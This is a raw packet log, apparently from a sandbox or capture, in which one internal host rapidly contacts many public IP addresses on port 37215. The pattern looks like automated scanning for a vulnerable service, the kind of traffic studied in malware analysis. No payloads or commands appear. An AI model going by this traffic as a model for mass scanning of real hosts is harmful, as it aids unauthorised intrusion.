Aug 1, 2024 15:34:55.007323027 CEST	37215	36864	60.255.178.57	192.168.2.14
Aug 1, 2024 15:34:55.007375002 CEST	36864	37215	192.168.2.14	60.255.178.57
Aug 1, 2024 15:34:55.009644985 CEST	38800	37215	192.168.2.14	197.52.238.43
Aug 1, 2024 15:34:55.011421919 CEST	37215	59860	197.37.11.189	192.168.2.14
Aug 1, 2024 15:34:55.012351990 CEST	59860	37215	192.168.2.14	197.37.11.189
Aug 1, 2024 15:34:55.014655113 CEST	37215	38800	197.52.238.43	192.168.2.14
Aug 1, 2024 15:34:55.014817953 CEST	38800	37215	192.168.2.14	197.52.238.43
Aug 1, 2024 15:34:55.015680075 CEST	59278	37215	192.168.2.14	197.171.29.163
Aug 1, 2024 15:34:55.019551992 CEST	45976	37215	192.168.2.14	41.205.131.121
Aug 1, 2024 15:34:55.020684958 CEST	37215	59278	197.171.29.163	192.168.2.14
Aug 1, 2024 15:34:55.020735979 CEST	59278	37215	192.168.2.14	197.171.29.163
Aug 1, 2024 15:34:55.024338961 CEST	33474	37215	192.168.2.14	157.10.149.35
Aug 1, 2024 15:34:55.026062965 CEST	37215	45976	41.205.131.121	192.168.2.14
Aug 1, 2024 15:34:55.026118994 CEST	45976	37215	192.168.2.14	41.205.131.121
Aug 1, 2024 15:34:55.029266119 CEST	39804	37215	192.168.2.14	38.93.44.240
Aug 1, 2024 15:34:55.029958010 CEST	37215	33474	157.10.149.35	192.168.2.14
Aug 1, 2024 15:34:55.030010939 CEST	33474	37215	192.168.2.14	157.10.149.35
Aug 1, 2024 15:34:55.033540010 CEST	39524	37215	192.168.2.14	41.189.13.212
Aug 1, 2024 15:34:55.034550905 CEST	37215	39804	38.93.44.240	192.168.2.14
Aug 1, 2024 15:34:55.034621954 CEST	39804	37215	192.168.2.14	38.93.44.240
Aug 1, 2024 15:34:55.036278009 CEST	53402	37215	192.168.2.14	197.206.139.104
Aug 1, 2024 15:34:55.038872957 CEST	37215	39524	41.189.13.212	192.168.2.14
Aug 1, 2024 15:34:55.038928986 CEST	39524	37215	192.168.2.14	41.189.13.212
Aug 1, 2024 15:34:55.041675091 CEST	37215	53402	197.206.139.104	192.168.2.14
Aug 1, 2024 15:34:55.042077065 CEST	53402	37215	192.168.2.14	197.206.139.104
Aug 1, 2024 15:34:55.043675900 CEST	55634	37215	192.168.2.14	184.46.233.237
Aug 1, 2024 15:34:55.049101114 CEST	50420	37215	192.168.2.14	157.194.219.212
Aug 1, 2024 15:34:55.049855947 CEST	37215	55634	184.46.233.237	192.168.2.14
Aug 1, 2024 15:34:55.049918890 CEST	55634	37215	192.168.2.14	184.46.233.237
Aug 1, 2024 15:34:55.054193974 CEST	37215	50420	157.194.219.212	192.168.2.14
Aug 1, 2024 15:34:55.054248095 CEST	50420	37215	192.168.2.14	157.194.219.212
Aug 1, 2024 15:34:55.055804014 CEST	33660	37215	192.168.2.14	197.91.38.97
Aug 1, 2024 15:34:55.061523914 CEST	37215	33660	197.91.38.97	192.168.2.14
Aug 1, 2024 15:34:55.061574936 CEST	33660	37215	192.168.2.14	197.91.38.97
Aug 1, 2024 15:34:55.062318087 CEST	51244	37215	192.168.2.14	157.220.82.146
Aug 1, 2024 15:34:55.067826986 CEST	37215	51244	157.220.82.146	192.168.2.14
Aug 1, 2024 15:34:55.067888975 CEST	51244	37215	192.168.2.14	157.220.82.146
Aug 1, 2024 15:34:55.071001053 CEST	38260	37215	192.168.2.14	107.106.86.9
Aug 1, 2024 15:34:55.076168060 CEST	37215	38260	107.106.86.9	192.168.2.14
Aug 1, 2024 15:34:55.076232910 CEST	38260	37215	192.168.2.14	107.106.86.9
Aug 1, 2024 15:34:55.079047918 CEST	36160	37215	192.168.2.14	197.190.55.55
Aug 1, 2024 15:34:55.084501982 CEST	37215	36160	197.190.55.55	192.168.2.14
Aug 1, 2024 15:34:55.084562063 CEST	36160	37215	192.168.2.14	197.190.55.55
Aug 1, 2024 15:34:55.087537050 CEST	59474	37215	192.168.2.14	197.13.177.97
Aug 1, 2024 15:34:55.092473030 CEST	37215	59474	197.13.177.97	192.168.2.14
Aug 1, 2024 15:34:55.092530966 CEST	59474	37215	192.168.2.14	197.13.177.97
Aug 1, 2024 15:34:55.096663952 CEST	44410	37215	192.168.2.14	99.216.115.116
Aug 1, 2024 15:34:55.101924896 CEST	37215	44410	99.216.115.116	192.168.2.14
Aug 1, 2024 15:34:55.102168083 CEST	44410	37215	192.168.2.14	99.216.115.116
Aug 1, 2024 15:34:55.103359938 CEST	35338	37215	192.168.2.14	177.186.243.242
Aug 1, 2024 15:34:55.109282017 CEST	37215	35338	177.186.243.242	192.168.2.14
Aug 1, 2024 15:34:55.109982014 CEST	35338	37215	192.168.2.14	177.186.243.242
Aug 1, 2024 15:34:55.123703003 CEST	36242	37215	192.168.2.14	41.183.144.125
Aug 1, 2024 15:34:55.128879070 CEST	37215	36242	41.183.144.125	192.168.2.14
Aug 1, 2024 15:34:55.128958941 CEST	36242	37215	192.168.2.14	41.183.144.125
Aug 1, 2024 15:34:55.150085926 CEST	56542	37215	192.168.2.14	41.140.10.97
Aug 1, 2024 15:34:55.155550957 CEST	37215	56542	41.140.10.97	192.168.2.14
Aug 1, 2024 15:34:55.155616045 CEST	56542	37215	192.168.2.14	41.140.10.97
Aug 1, 2024 15:34:55.158020973 CEST	48538	37215	192.168.2.14	197.42.176.105
Aug 1, 2024 15:34:55.161531925 CEST	58962	37215	192.168.2.14	197.237.103.241
Aug 1, 2024 15:34:55.163116932 CEST	37215	48538	197.42.176.105	192.168.2.14
Aug 1, 2024 15:34:55.163177013 CEST	48538	37215	192.168.2.14	197.42.176.105
Aug 1, 2024 15:34:55.165896893 CEST	39250	37215	192.168.2.14	147.211.62.145
Aug 1, 2024 15:34:55.166914940 CEST	37215	58962	197.237.103.241	192.168.2.14
Aug 1, 2024 15:34:55.167049885 CEST	58962	37215	192.168.2.14	197.237.103.241
Aug 1, 2024 15:34:55.170906067 CEST	37215	39250	147.211.62.145	192.168.2.14
Aug 1, 2024 15:34:55.170959949 CEST	39250	37215	192.168.2.14	147.211.62.145
Aug 1, 2024 15:34:55.171865940 CEST	59630	37215	192.168.2.14	157.108.49.207
Aug 1, 2024 15:34:55.176681042 CEST	45710	37215	192.168.2.14	157.102.148.103
Aug 1, 2024 15:34:55.177100897 CEST	37215	59630	157.108.49.207	192.168.2.14
Aug 1, 2024 15:34:55.177156925 CEST	59630	37215	192.168.2.14	157.108.49.207
Aug 1, 2024 15:34:55.181550980 CEST	54228	37215	192.168.2.14	195.22.164.112
Aug 1, 2024 15:34:55.181653023 CEST	37215	45710	157.102.148.103	192.168.2.14
Aug 1, 2024 15:34:55.181739092 CEST	45710	37215	192.168.2.14	157.102.148.103
Aug 1, 2024 15:34:55.186296940 CEST	53244	37215	192.168.2.14	197.75.43.144
Aug 1, 2024 15:34:55.186788082 CEST	37215	54228	195.22.164.112	192.168.2.14
Aug 1, 2024 15:34:55.186844110 CEST	54228	37215	192.168.2.14	195.22.164.112
Aug 1, 2024 15:34:55.191370964 CEST	37215	53244	197.75.43.144	192.168.2.14
Aug 1, 2024 15:34:55.191431046 CEST	53244	37215	192.168.2.14	197.75.43.144
Aug 1, 2024 15:34:55.193751097 CEST	40028	37215	192.168.2.14	197.176.187.27
Aug 1, 2024 15:34:55.200103045 CEST	37215	40028	197.176.187.27	192.168.2.14
Aug 1, 2024 15:34:55.200165033 CEST	40028	37215	192.168.2.14	197.176.187.27
Aug 1, 2024 15:34:55.202761889 CEST	34536	37215	192.168.2.14	41.68.112.151
Aug 1, 2024 15:34:55.207664013 CEST	37215	34536	41.68.112.151	192.168.2.14
Aug 1, 2024 15:34:55.207722902 CEST	34536	37215	192.168.2.14	41.68.112.151
Aug 1, 2024 15:34:55.210630894 CEST	48036	37215	192.168.2.14	110.208.30.2
Aug 1, 2024 15:34:55.215945005 CEST	37215	48036	110.208.30.2	192.168.2.14
Aug 1, 2024 15:34:55.216002941 CEST	48036	37215	192.168.2.14	110.208.30.2
Aug 1, 2024 15:34:55.218632936 CEST	45316	37215	192.168.2.14	157.115.41.196
Aug 1, 2024 15:34:55.222909927 CEST	33558	37215	192.168.2.14	157.129.37.247
Aug 1, 2024 15:34:55.223594904 CEST	37215	45316	157.115.41.196	192.168.2.14
Aug 1, 2024 15:34:55.223656893 CEST	45316	37215	192.168.2.14	157.115.41.196
Aug 1, 2024 15:34:55.226106882 CEST	44122	37215	192.168.2.14	197.106.91.113
Aug 1, 2024 15:34:55.227920055 CEST	37215	33558	157.129.37.247	192.168.2.14
Aug 1, 2024 15:34:55.227969885 CEST	33558	37215	192.168.2.14	157.129.37.247
Aug 1, 2024 15:34:55.230204105 CEST	38732	37215	192.168.2.14	157.251.247.196
Aug 1, 2024 15:34:55.232140064 CEST	37215	44122	197.106.91.113	192.168.2.14
Aug 1, 2024 15:34:55.232208967 CEST	44122	37215	192.168.2.14	197.106.91.113
Aug 1, 2024 15:34:55.235162020 CEST	37215	38732	157.251.247.196	192.168.2.14
Aug 1, 2024 15:34:55.235208035 CEST	38732	37215	192.168.2.14	157.251.247.196
Aug 1, 2024 15:34:55.235483885 CEST	56772	37215	192.168.2.14	197.88.34.150
Aug 1, 2024 15:34:55.242089987 CEST	37215	56772	197.88.34.150	192.168.2.14
Aug 1, 2024 15:34:55.242146969 CEST	56772	37215	192.168.2.14	197.88.34.150
Aug 1, 2024 15:34:55.256748915 CEST	60932	37215	192.168.2.14	168.234.4.56
Aug 1, 2024 15:34:55.261874914 CEST	37215	60932	168.234.4.56	192.168.2.14
Aug 1, 2024 15:34:55.262315989 CEST	60932	37215	192.168.2.14	168.234.4.56
Aug 1, 2024 15:34:55.262387037 CEST	48958	37215	192.168.2.14	157.122.220.214
Aug 1, 2024 15:34:55.267443895 CEST	37215	48958	157.122.220.214	192.168.2.14
Aug 1, 2024 15:34:55.267503977 CEST	48958	37215	192.168.2.14	157.122.220.214
Aug 1, 2024 15:34:55.269263029 CEST	34432	37215	192.168.2.14	41.184.88.67
Aug 1, 2024 15:34:55.274853945 CEST	37215	34432	41.184.88.67	192.168.2.14
Aug 1, 2024 15:34:55.274910927 CEST	34432	37215	192.168.2.14	41.184.88.67
Aug 1, 2024 15:34:55.275722980 CEST	37330	37215	192.168.2.14	130.233.217.238
Aug 1, 2024 15:34:55.281450033 CEST	37215	37330	130.233.217.238	192.168.2.14
Aug 1, 2024 15:34:55.281508923 CEST	37330	37215	192.168.2.14	130.233.217.238
Aug 1, 2024 15:34:55.283843994 CEST	57426	37215	192.168.2.14	157.169.17.131
Aug 1, 2024 15:34:55.289350033 CEST	40182	37215	192.168.2.14	41.169.67.45
Aug 1, 2024 15:34:55.289433956 CEST	37215	57426	157.169.17.131	192.168.2.14
Aug 1, 2024 15:34:55.289488077 CEST	57426	37215	192.168.2.14	157.169.17.131
Aug 1, 2024 15:34:55.294189930 CEST	38418	37215	192.168.2.14	115.105.251.29
Aug 1, 2024 15:34:55.294560909 CEST	37215	40182	41.169.67.45	192.168.2.14
Aug 1, 2024 15:34:55.294608116 CEST	40182	37215	192.168.2.14	41.169.67.45
Aug 1, 2024 15:34:55.299269915 CEST	37215	38418	115.105.251.29	192.168.2.14
Aug 1, 2024 15:34:55.299314976 CEST	38418	37215	192.168.2.14	115.105.251.29
Aug 1, 2024 15:34:55.299339056 CEST	54608	37215	192.168.2.14	103.20.177.119
Aug 1, 2024 15:34:55.304167986 CEST	59086	37215	192.168.2.14	61.43.155.73
Aug 1, 2024 15:34:55.304223061 CEST	37215	54608	103.20.177.119	192.168.2.14
Aug 1, 2024 15:34:55.304281950 CEST	54608	37215	192.168.2.14	103.20.177.119
Aug 1, 2024 15:34:55.309613943 CEST	37215	59086	61.43.155.73	192.168.2.14
Aug 1, 2024 15:34:55.309673071 CEST	59086	37215	192.168.2.14	61.43.155.73
Aug 1, 2024 15:34:55.309781075 CEST	34842	37215	192.168.2.14	197.169.248.145
Aug 1, 2024 15:34:55.315052986 CEST	45752	37215	192.168.2.14	41.53.76.199
Aug 1, 2024 15:34:55.320108891 CEST	37215	34842	197.169.248.145	192.168.2.14
Aug 1, 2024 15:34:55.320132971 CEST	56996	37215	192.168.2.14	157.60.145.99
Aug 1, 2024 15:34:55.320238113 CEST	34842	37215	192.168.2.14	197.169.248.145
Aug 1, 2024 15:34:55.326263905 CEST	50544	37215	192.168.2.14	197.124.18.82
Aug 1, 2024 15:34:55.330753088 CEST	37215	45752	41.53.76.199	192.168.2.14
Aug 1, 2024 15:34:55.330770016 CEST	37215	56996	157.60.145.99	192.168.2.14
Aug 1, 2024 15:34:55.330807924 CEST	45752	37215	192.168.2.14	41.53.76.199
Aug 1, 2024 15:34:55.330811024 CEST	56996	37215	192.168.2.14	157.60.145.99
Aug 1, 2024 15:34:55.331545115 CEST	47228	37215	192.168.2.14	41.178.100.181
Aug 1, 2024 15:34:55.331659079 CEST	37215	50544	197.124.18.82	192.168.2.14
Aug 1, 2024 15:34:55.331701040 CEST	50544	37215	192.168.2.14	197.124.18.82
Aug 1, 2024 15:34:55.337644100 CEST	39300	37215	192.168.2.14	197.40.23.137
Aug 1, 2024 15:34:55.337927103 CEST	37215	47228	41.178.100.181	192.168.2.14
Aug 1, 2024 15:34:55.337975025 CEST	47228	37215	192.168.2.14	41.178.100.181
Aug 1, 2024 15:34:55.342664003 CEST	41596	37215	192.168.2.14	41.88.176.209
Aug 1, 2024 15:34:55.343147039 CEST	37215	39300	197.40.23.137	192.168.2.14
Aug 1, 2024 15:34:55.343202114 CEST	39300	37215	192.168.2.14	197.40.23.137
Aug 1, 2024 15:34:55.346937895 CEST	35606	37215	192.168.2.14	157.187.148.134
Aug 1, 2024 15:34:55.348633051 CEST	37215	41596	41.88.176.209	192.168.2.14
Aug 1, 2024 15:34:55.348685980 CEST	41596	37215	192.168.2.14	41.88.176.209
Aug 1, 2024 15:34:55.351538897 CEST	34188	37215	192.168.2.14	41.89.33.33
Aug 1, 2024 15:34:55.353677988 CEST	37215	35606	157.187.148.134	192.168.2.14
Aug 1, 2024 15:34:55.353734016 CEST	35606	37215	192.168.2.14	157.187.148.134
Aug 1, 2024 15:34:55.356580973 CEST	49810	37215	192.168.2.14	41.143.18.123
Aug 1, 2024 15:34:55.357280016 CEST	37215	34188	41.89.33.33	192.168.2.14
Aug 1, 2024 15:34:55.357384920 CEST	34188	37215	192.168.2.14	41.89.33.33
Aug 1, 2024 15:34:55.362098932 CEST	37215	49810	41.143.18.123	192.168.2.14
Aug 1, 2024 15:34:55.362155914 CEST	49810	37215	192.168.2.14	41.143.18.123
Aug 1, 2024 15:34:55.364058971 CEST	48282	37215	192.168.2.14	41.78.39.108
Aug 1, 2024 15:34:55.367377996 CEST	55460	37215	192.168.2.14	123.236.6.145
Aug 1, 2024 15:34:55.369296074 CEST	37215	48282	41.78.39.108	192.168.2.14
Aug 1, 2024 15:34:55.369354010 CEST	48282	37215	192.168.2.14	41.78.39.108
Aug 1, 2024 15:34:55.371454954 CEST	52692	37215	192.168.2.14	157.88.238.24
Aug 1, 2024 15:34:55.372256041 CEST	37215	55460	123.236.6.145	192.168.2.14
Aug 1, 2024 15:34:55.372324944 CEST	55460	37215	192.168.2.14	123.236.6.145
Aug 1, 2024 15:34:55.374977112 CEST	48030	37215	192.168.2.14	157.133.254.58
Aug 1, 2024 15:34:55.376585960 CEST	37215	52692	157.88.238.24	192.168.2.14
Aug 1, 2024 15:34:55.376638889 CEST	52692	37215	192.168.2.14	157.88.238.24
Aug 1, 2024 15:34:55.379374027 CEST	57120	37215	192.168.2.14	41.148.120.113
Aug 1, 2024 15:34:55.379947901 CEST	37215	48030	157.133.254.58	192.168.2.14
Aug 1, 2024 15:34:55.380007029 CEST	48030	37215	192.168.2.14	157.133.254.58
Aug 1, 2024 15:34:55.383460045 CEST	60818	37215	192.168.2.14	41.6.248.212
Aug 1, 2024 15:34:55.384601116 CEST	37215	57120	41.148.120.113	192.168.2.14
Aug 1, 2024 15:34:55.384651899 CEST	57120	37215	192.168.2.14	41.148.120.113
Aug 1, 2024 15:34:55.387248039 CEST	35948	37215	192.168.2.14	191.150.229.72
Aug 1, 2024 15:34:55.388309956 CEST	37215	60818	41.6.248.212	192.168.2.14
Aug 1, 2024 15:34:55.388360977 CEST	60818	37215	192.168.2.14	41.6.248.212
Aug 1, 2024 15:34:55.391192913 CEST	42024	37215	192.168.2.14	41.210.198.23
Aug 1, 2024 15:34:55.392277956 CEST	37215	35948	191.150.229.72	192.168.2.14
Aug 1, 2024 15:34:55.392333984 CEST	35948	37215	192.168.2.14	191.150.229.72
Aug 1, 2024 15:34:55.396228075 CEST	37215	42024	41.210.198.23	192.168.2.14
Aug 1, 2024 15:34:55.396284103 CEST	42024	37215	192.168.2.14	41.210.198.23
Aug 1, 2024 15:34:55.396545887 CEST	38518	37215	192.168.2.14	159.97.190.21
Aug 1, 2024 15:34:55.400930882 CEST	49914	37215	192.168.2.14	41.84.67.216
Aug 1, 2024 15:34:55.401415110 CEST	37215	38518	159.97.190.21	192.168.2.14
Aug 1, 2024 15:34:55.401488066 CEST	38518	37215	192.168.2.14	159.97.190.21
Aug 1, 2024 15:34:55.406213045 CEST	35894	37215	192.168.2.14	113.77.151.196
Aug 1, 2024 15:34:55.406824112 CEST	37215	49914	41.84.67.216	192.168.2.14
Aug 1, 2024 15:34:55.406900883 CEST	49914	37215	192.168.2.14	41.84.67.216
Aug 1, 2024 15:34:55.411297083 CEST	41178	37215	192.168.2.14	41.130.209.143
Aug 1, 2024 15:34:55.411772013 CEST	37215	35894	113.77.151.196	192.168.2.14
Aug 1, 2024 15:34:55.411825895 CEST	35894	37215	192.168.2.14	113.77.151.196
Aug 1, 2024 15:34:55.415487051 CEST	40560	37215	192.168.2.14	41.226.213.137
Aug 1, 2024 15:34:55.416579962 CEST	37215	41178	41.130.209.143	192.168.2.14
Aug 1, 2024 15:34:55.416630030 CEST	41178	37215	192.168.2.14	41.130.209.143
Aug 1, 2024 15:34:55.420842886 CEST	37215	40560	41.226.213.137	192.168.2.14
Aug 1, 2024 15:34:55.420927048 CEST	40560	37215	192.168.2.14	41.226.213.137
Aug 1, 2024 15:34:55.430140018 CEST	57814	37215	192.168.2.14	197.190.3.77
Aug 1, 2024 15:34:55.435338020 CEST	37215	57814	197.190.3.77	192.168.2.14
Aug 1, 2024 15:34:55.435395956 CEST	57814	37215	192.168.2.14	197.190.3.77
Aug 1, 2024 15:34:55.435434103 CEST	40032	37215	192.168.2.14	200.89.131.108
Aug 1, 2024 15:34:55.440574884 CEST	37215	40032	200.89.131.108	192.168.2.14
Aug 1, 2024 15:34:55.440632105 CEST	40032	37215	192.168.2.14	200.89.131.108
Aug 1, 2024 15:34:55.441099882 CEST	53630	37215	192.168.2.14	197.179.175.169
Aug 1, 2024 15:34:55.446630001 CEST	37215	53630	197.179.175.169	192.168.2.14
Aug 1, 2024 15:34:55.446680069 CEST	53630	37215	192.168.2.14	197.179.175.169
Aug 1, 2024 15:34:55.446726084 CEST	38164	37215	192.168.2.14	222.239.93.139
Aug 1, 2024 15:34:55.451675892 CEST	39252	37215	192.168.2.14	57.64.230.60
Aug 1, 2024 15:34:55.451747894 CEST	37215	38164	222.239.93.139	192.168.2.14
Aug 1, 2024 15:34:55.451807022 CEST	38164	37215	192.168.2.14	222.239.93.139
Aug 1, 2024 15:34:55.456299067 CEST	50422	37215	192.168.2.14	157.75.77.178
Aug 1, 2024 15:34:55.456649065 CEST	37215	39252	57.64.230.60	192.168.2.14
Aug 1, 2024 15:34:55.456702948 CEST	39252	37215	192.168.2.14	57.64.230.60
Aug 1, 2024 15:34:55.460436106 CEST	41072	37215	192.168.2.14	157.253.51.213
Aug 1, 2024 15:34:55.461652040 CEST	37215	50422	157.75.77.178	192.168.2.14
Aug 1, 2024 15:34:55.461713076 CEST	50422	37215	192.168.2.14	157.75.77.178
Aug 1, 2024 15:34:55.465049028 CEST	32944	37215	192.168.2.14	197.102.172.2
Aug 1, 2024 15:34:55.466006994 CEST	37215	41072	157.253.51.213	192.168.2.14
Aug 1, 2024 15:34:55.466063976 CEST	41072	37215	192.168.2.14	157.253.51.213
Aug 1, 2024 15:34:55.470578909 CEST	37215	32944	197.102.172.2	192.168.2.14
Aug 1, 2024 15:34:55.470590115 CEST	53200	37215	192.168.2.14	157.133.24.232
Aug 1, 2024 15:34:55.470633984 CEST	32944	37215	192.168.2.14	197.102.172.2
Aug 1, 2024 15:34:55.475573063 CEST	37215	53200	157.133.24.232	192.168.2.14
Aug 1, 2024 15:34:55.475644112 CEST	53200	37215	192.168.2.14	157.133.24.232
Aug 1, 2024 15:34:55.476438046 CEST	35596	37215	192.168.2.14	197.64.45.114
Aug 1, 2024 15:34:55.482146025 CEST	37215	35596	197.64.45.114	192.168.2.14
Aug 1, 2024 15:34:55.482168913 CEST	40982	37215	192.168.2.14	157.157.109.60
Aug 1, 2024 15:34:55.482199907 CEST	35596	37215	192.168.2.14	197.64.45.114
Aug 1, 2024 15:34:55.487169027 CEST	37215	40982	157.157.109.60	192.168.2.14
Aug 1, 2024 15:34:55.487221003 CEST	40982	37215	192.168.2.14	157.157.109.60
Aug 1, 2024 15:34:55.488032103 CEST	59580	37215	192.168.2.14	157.203.23.110
Aug 1, 2024 15:34:55.493046045 CEST	40226	37215	192.168.2.14	157.206.8.180
Aug 1, 2024 15:34:55.493316889 CEST	37215	59580	157.203.23.110	192.168.2.14
Aug 1, 2024 15:34:55.493388891 CEST	59580	37215	192.168.2.14	157.203.23.110
Aug 1, 2024 15:34:55.496460915 CEST	56278	37215	192.168.2.14	197.103.193.138
Aug 1, 2024 15:34:55.498058081 CEST	37215	40226	157.206.8.180	192.168.2.14
Aug 1, 2024 15:34:55.498111010 CEST	40226	37215	192.168.2.14	157.206.8.180
Aug 1, 2024 15:34:55.501852989 CEST	37215	56278	197.103.193.138	192.168.2.14
Aug 1, 2024 15:34:55.501915932 CEST	56278	37215	192.168.2.14	197.103.193.138
Aug 1, 2024 15:34:55.504592896 CEST	40426	37215	192.168.2.14	157.62.255.255
Aug 1, 2024 15:34:55.508313894 CEST	53750	37215	192.168.2.14	197.118.161.155
Aug 1, 2024 15:34:55.510085106 CEST	37215	40426	157.62.255.255	192.168.2.14
Aug 1, 2024 15:34:55.510138035 CEST	40426	37215	192.168.2.14	157.62.255.255
Aug 1, 2024 15:34:55.513535023 CEST	37215	53750	197.118.161.155	192.168.2.14
Aug 1, 2024 15:34:55.513585091 CEST	53750	37215	192.168.2.14	197.118.161.155
Aug 1, 2024 15:34:55.517509937 CEST	47826	37215	192.168.2.14	168.204.229.155
Aug 1, 2024 15:34:55.530714035 CEST	49602	37215	192.168.2.14	13.191.210.26
Aug 1, 2024 15:34:55.531723976 CEST	37215	47826	168.204.229.155	192.168.2.14
Aug 1, 2024 15:34:55.531788111 CEST	47826	37215	192.168.2.14	168.204.229.155
Aug 1, 2024 15:34:55.539187908 CEST	40764	37215	192.168.2.14	157.251.239.40
Aug 1, 2024 15:34:55.540505886 CEST	37215	49602	13.191.210.26	192.168.2.14
Aug 1, 2024 15:34:55.540559053 CEST	49602	37215	192.168.2.14	13.191.210.26
Aug 1, 2024 15:34:55.543870926 CEST	58596	37215	192.168.2.14	34.114.172.79
Aug 1, 2024 15:34:55.547142982 CEST	56412	37215	192.168.2.14	157.39.220.56
Aug 1, 2024 15:34:55.550329924 CEST	39482	37215	192.168.2.14	133.178.29.77
Aug 1, 2024 15:34:55.553230047 CEST	52814	37215	192.168.2.14	41.81.182.25
Aug 1, 2024 15:34:55.556305885 CEST	45810	37215	192.168.2.14	157.113.100.5
Aug 1, 2024 15:34:55.559758902 CEST	54896	37215	192.168.2.14	157.121.169.87
Aug 1, 2024 15:34:55.562486887 CEST	54376	37215	192.168.2.14	197.97.234.242
Aug 1, 2024 15:34:55.565412998 CEST	37804	37215	192.168.2.14	157.84.81.43
Aug 1, 2024 15:34:55.569217920 CEST	37215	40764	157.251.239.40	192.168.2.14
Aug 1, 2024 15:34:55.569279909 CEST	40764	37215	192.168.2.14	157.251.239.40
Aug 1, 2024 15:34:55.569462061 CEST	56328	37215	192.168.2.14	41.151.182.180
Aug 1, 2024 15:34:55.570265055 CEST	37215	58596	34.114.172.79	192.168.2.14
Aug 1, 2024 15:34:55.570323944 CEST	58596	37215	192.168.2.14	34.114.172.79
Aug 1, 2024 15:34:55.570339918 CEST	37215	56412	157.39.220.56	192.168.2.14
Aug 1, 2024 15:34:55.570379972 CEST	56412	37215	192.168.2.14	157.39.220.56
Aug 1, 2024 15:34:55.570430040 CEST	37215	39482	133.178.29.77	192.168.2.14
Aug 1, 2024 15:34:55.570472956 CEST	39482	37215	192.168.2.14	133.178.29.77
Aug 1, 2024 15:34:55.570839882 CEST	37215	52814	41.81.182.25	192.168.2.14
Aug 1, 2024 15:34:55.570889950 CEST	52814	37215	192.168.2.14	41.81.182.25
Aug 1, 2024 15:34:55.571286917 CEST	37215	45810	157.113.100.5	192.168.2.14
Aug 1, 2024 15:34:55.571326971 CEST	45810	37215	192.168.2.14	157.113.100.5
Aug 1, 2024 15:34:55.572355986 CEST	37215	54896	157.121.169.87	192.168.2.14
Aug 1, 2024 15:34:55.572402954 CEST	54896	37215	192.168.2.14	157.121.169.87
Aug 1, 2024 15:34:55.572945118 CEST	37215	54376	197.97.234.242	192.168.2.14
Aug 1, 2024 15:34:55.572985888 CEST	54376	37215	192.168.2.14	197.97.234.242
Aug 1, 2024 15:34:55.573467970 CEST	50270	37215	192.168.2.14	157.136.241.140
Aug 1, 2024 15:34:55.573759079 CEST	37215	37804	157.84.81.43	192.168.2.14
Aug 1, 2024 15:34:55.573800087 CEST	37804	37215	192.168.2.14	157.84.81.43
Aug 1, 2024 15:34:55.574400902 CEST	37215	56328	41.151.182.180	192.168.2.14
Aug 1, 2024 15:34:55.574455023 CEST	56328	37215	192.168.2.14	41.151.182.180
Aug 1, 2024 15:34:55.575664997 CEST	56550	37215	192.168.2.14	197.130.235.100
Aug 1, 2024 15:34:55.578330994 CEST	54308	37215	192.168.2.14	41.138.22.23
Aug 1, 2024 15:34:55.579313993 CEST	37215	50270	157.136.241.140	192.168.2.14
Aug 1, 2024 15:34:55.579355955 CEST	50270	37215	192.168.2.14	157.136.241.140
Aug 1, 2024 15:34:55.580512047 CEST	37215	56550	197.130.235.100	192.168.2.14
Aug 1, 2024 15:34:55.580610991 CEST	56550	37215	192.168.2.14	197.130.235.100
Aug 1, 2024 15:34:55.580833912 CEST	49482	37215	192.168.2.14	41.177.87.219
Aug 1, 2024 15:34:55.583372116 CEST	37215	54308	41.138.22.23	192.168.2.14
Aug 1, 2024 15:34:55.583430052 CEST	54308	37215	192.168.2.14	41.138.22.23
Aug 1, 2024 15:34:55.585745096 CEST	37215	49482	41.177.87.219	192.168.2.14
Aug 1, 2024 15:34:55.585803032 CEST	49482	37215	192.168.2.14	41.177.87.219
Aug 1, 2024 15:34:55.599591017 CEST	34740	37215	192.168.2.14	41.227.113.252
Aug 1, 2024 15:34:55.601255894 CEST	47767	37215	192.168.2.14	41.230.179.65
Aug 1, 2024 15:34:55.601286888 CEST	47767	37215	192.168.2.14	157.212.8.4
Aug 1, 2024 15:34:55.601315022 CEST	47767	37215	192.168.2.14	41.210.233.180
Aug 1, 2024 15:34:55.601331949 CEST	47767	37215	192.168.2.14	24.187.11.12
Aug 1, 2024 15:34:55.601331949 CEST	47767	37215	192.168.2.14	41.162.113.93
Aug 1, 2024 15:34:55.601331949 CEST	47767	37215	192.168.2.14	197.240.252.39
Aug 1, 2024 15:34:55.601350069 CEST	47767	37215	192.168.2.14	197.200.93.50
Aug 1, 2024 15:34:55.601360083 CEST	47767	37215	192.168.2.14	197.153.10.199
Aug 1, 2024 15:34:55.601385117 CEST	47767	37215	192.168.2.14	121.19.214.231
Aug 1, 2024 15:34:55.601413965 CEST	47767	37215	192.168.2.14	157.66.128.192
Aug 1, 2024 15:34:55.601466894 CEST	47767	37215	192.168.2.14	41.162.24.213
Aug 1, 2024 15:34:55.601479053 CEST	47767	37215	192.168.2.14	41.169.172.11
Aug 1, 2024 15:34:55.601496935 CEST	47767	37215	192.168.2.14	197.4.243.8
Aug 1, 2024 15:34:55.601516008 CEST	47767	37215	192.168.2.14	157.205.197.78
Aug 1, 2024 15:34:55.601530075 CEST	47767	37215	192.168.2.14	197.207.88.203
Aug 1, 2024 15:34:55.601531029 CEST	47767	37215	192.168.2.14	197.8.50.175
Aug 1, 2024 15:34:55.601532936 CEST	47767	37215	192.168.2.14	41.193.234.33
Aug 1, 2024 15:34:55.601532936 CEST	47767	37215	192.168.2.14	41.71.67.19
Aug 1, 2024 15:34:55.601532936 CEST	47767	37215	192.168.2.14	41.221.62.228
Aug 1, 2024 15:34:55.601572990 CEST	47767	37215	192.168.2.14	41.91.117.232
Aug 1, 2024 15:34:55.601608992 CEST	47767	37215	192.168.2.14	197.185.144.145
Aug 1, 2024 15:34:55.601609945 CEST	47767	37215	192.168.2.14	213.238.62.174
Aug 1, 2024 15:34:55.601624012 CEST	47767	37215	192.168.2.14	157.237.235.214
Aug 1, 2024 15:34:55.601654053 CEST	47767	37215	192.168.2.14	157.171.228.140
Aug 1, 2024 15:34:55.601671934 CEST	47767	37215	192.168.2.14	164.203.219.248
Aug 1, 2024 15:34:55.601696014 CEST	47767	37215	192.168.2.14	44.198.35.6
Aug 1, 2024 15:34:55.601716995 CEST	47767	37215	192.168.2.14	40.67.80.89
Aug 1, 2024 15:34:55.601720095 CEST	47767	37215	192.168.2.14	157.128.185.231
Aug 1, 2024 15:34:55.601737022 CEST	47767	37215	192.168.2.14	157.192.102.116
Aug 1, 2024 15:34:55.601766109 CEST	47767	37215	192.168.2.14	97.199.1.136
